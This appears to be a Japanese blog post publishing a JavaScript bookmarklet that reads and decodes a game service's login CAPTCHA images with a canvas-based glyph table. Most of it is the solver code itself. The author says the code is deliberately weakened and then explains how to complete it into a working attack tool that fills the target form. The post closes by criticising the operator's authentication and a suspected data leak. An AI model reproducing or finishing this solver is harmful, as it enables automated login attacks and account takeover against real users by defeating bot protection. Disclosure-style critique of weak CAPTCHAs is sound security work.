まっどすぷりくと
130609追記
マスターコードの動作デモを公開しました。すごい手抜きな作り方をしたので色々とアレですが、細かいことは気にしないでください。
(続き)
ただのブックマークレットです。今時のブラウザなら普通に動くと思います。他のソフトウェア・プラグイン等は一切不要です。
javascript:F={'AAcAhAgAxAkAfwYAJAsA9AAAIhAAIhAAIAgAQAQAgAMA':'あ', '+AAABwEAAAIAAAIAAAEAAAAAAAAAAAAABAAAGAAA4AAA':'い', 'EAAAEAAAEBAACRAACQgACggACgQAEAMA4AAA':'う','ABgAEAQAEAIAEQMAkQIAUgwAMhAAEBAAEBAAABAAABAA':'え', 'CAMAiAQASAQA/wMAJAAAJAAAJAgAIAgAIgQAQgQAhAMACAAA':'お','wAMAPAAAIwAAIwAAPAAAwAMA':'A', '/AAAAgEAAQIAAQIAAQIAhgEA':'C','/wMAAQIAAQIAAQIAAgEA/AAA':'D','/wMAEQIAEQIAEQIAAQIAAQIA':'E', '/wMAEQAAEQAAEQAAAQAAAQAA':'F','/wMAEAAAEAAAEAAAEAAA/wMA':'H','gAEAAAIAAAIAAAIA/wEA':'J', '/wMAIAAAEAAAbAAAggEAAQIA':'K','/wMAAAIAAAIAAAIAAAIAAAIA':'L','/wMADAAAEAAAIAAAwAAA/wMA':'N', '/wMAIQAAIQAAIQAAIQAAHgAA':'P','/wMAIQAAIQAAYQAAoQAAHgMA':'R','jgEAEQIAEQIAIQIAIQIAxgEA':'S', 'AQAAAQAAAQAA/wMAAQAAAQAAAQAA':'T','/wEAAAIAAAIAAAIAAAIA/wEA':'U','DwAAcAAAgAMAgAMAcAAADwAA':'V', 'AwMAzAAAMAAAMAAAzAAAAwMA':'X','BwAAGAAA4AMAGAAABwAA':'Y','wAAAsAAAjAAAggAA/wMAgAAA':'4', 'nwEACQIACQIACQIACQIA8QEA':'5','AQAAAQMAwQAAMQAADQAAAwAA':'7','ngEAIQIAIQIAIQIAEQEA/gAA':'9'}; S=location.pathname=='/login_captcha.php'?document.images[0]: document.getElementById('form1').getElementsByClassName('gcode')[0]; C=document.createElement('canvas');C.width=S.naturalWidth;C.height=S.naturalHeight; T=C.getContext('2d');T.drawImage(S,0,0);D=T.getImageData(0,0,C.width,C.height); for(P=D.data,p=0,y=0;y<D.height;++y)for(x=0;x<D.width;++x){R=P[p++];G=P[p++];B=P[p++]; P[p++]=(0.299*R+0.587*G+0.114*B<0.16*255)*255;}X=new Array(D.width); for(x=0;x<D.width;X[x++]=f)for(f=0,y=0;y<D.height;++y)f|=Boolean(P[(y*D.width+x)*4+3])<<y; for(R='',s=0;t=s+5,t<D.width;++s){if(!X[s])continue;x=s;k=0;u=D.height;p=false; do{if(!X[t-1])continue;while(x<t)k|=X[x++];for(y=0;y<u;++y)if(k>>y&1)if(u>y)u=y; for(G='',x=s;x<t;++x)f=X[x]>>u,G+=btoa(String.fromCharCode(f&255,f>>8&255,f>>16&255)); if(p=F[G])break;}while(t++<s+13);R+=p||'.';if(p)s=t-1;}alert(R);
- 算法は自明です。実装方法もほぼ自明です。このコードに新規性は何もありません。このコードによって新たに明らかにされた事実は皆無です。よって仮に今このコードを秘匿しておいたところで、悪意ある第三者が同様のものを再発明することは、現実的に容易であると考えられます。
- 以上の状況より、このコードを秘匿することによるセキュリティ上の利点は、実質的に存在しません。容赦なく公開しているのはそういう理由です。いずれにせよ隠匿によるセキュリティは機能しません。
- とはいったものの、これはあくまで技術実証であって、実際に攻撃に使用する/されることを当方が意図しているわけではありません。まるっとコピペしただけで“実用”に供されるのは当方としても心外であるため、上記コードにはある程度のデチューンを施しています。
- フォントテーブルを「あ行」と英数字の分しか掲載していないので、それ以外の文字は拾えません。
- ピクセル判定論理をわざとまぬけにしてあるため、フォントテーブルにある文字もたまに拾い損ねます。
- 逆に言えば、フォントテーブルに出題される全ての文字を書き足し、ピクセル判定論理をもう少しマシにした上で、解読結果を alert() するのではなく標的のフォームに書き込むようにすれば、
現実的に攻撃に使用可能な文字認証を書き込む手間を省いてくれる、たいへん便利なブックマークレットが完成します。 - いかなる意味においても素人に過ぎないこの私が、(運営に爆撃と思われないよう至極のんびり動かした) フォントデータの収集込みでほんの2時間ほど戯れた結果がコレなのですから、もしも悪意ある第三者に本気で狙われたならば、まず一瞬で陥落するだろう事は想像に難くありません。
やればできるんじゃないかとふと思いついて、やってみたら本当にできてしまって自分でひいた。イマドキノうぇぶぶらうざッテコワイネ!
ともあれそういうわけで全く残念至極なことに、私の手元にあるデチューンする前のマスターコードでは、既に98%以上の解読成功率が出ているのです。たはー。なお念のため、マスターコード自体は公開していませんし運営にも引き渡していません。私の手元にあるだけです。いえ運営には渡すべきかとも思ったのだけど、うっかり渡したら運営経由でホンモノの敵方に漏洩する懸念ががががが。
現状をざっくりまとめると、こういう事になります。
- 公式名称“文字認証”は、無能なすくりぷときでぃを限定的に悩ませる程度の能力です。その代償としてwebからログインする正規ユーザーの時間を数秒ずつ頂戴します。なんだか強化されたことになっていますが、相変わらず機械解析耐性は皆無です。CAPTCHAと呼ぶには値しません。
- 公式名称“キャラクタ認証”は、他のIPから接続されたことを事後報告する程度の能力です。その代償としてIPが変動した正規ユーザーの時間を数秒ずつ頂戴します。暗号論的な意味で言えば、こんなものには最初から認証強度が全くありません。認証と呼ぶには値しません。
- 運営側から何らかの情報漏洩があったことは状況証拠的に確実です。少なくとも登録メールアドレスについては、かなり大規模かつ網羅的に漏洩したと推測されます。しかしながら運営側は自身からの漏洩経路を未だに特定できておらず、具体的に漏洩した情報の範囲・内容も不明です。これでは今なお運営側内部で敵性体が活動している可能性すら否定することはできません。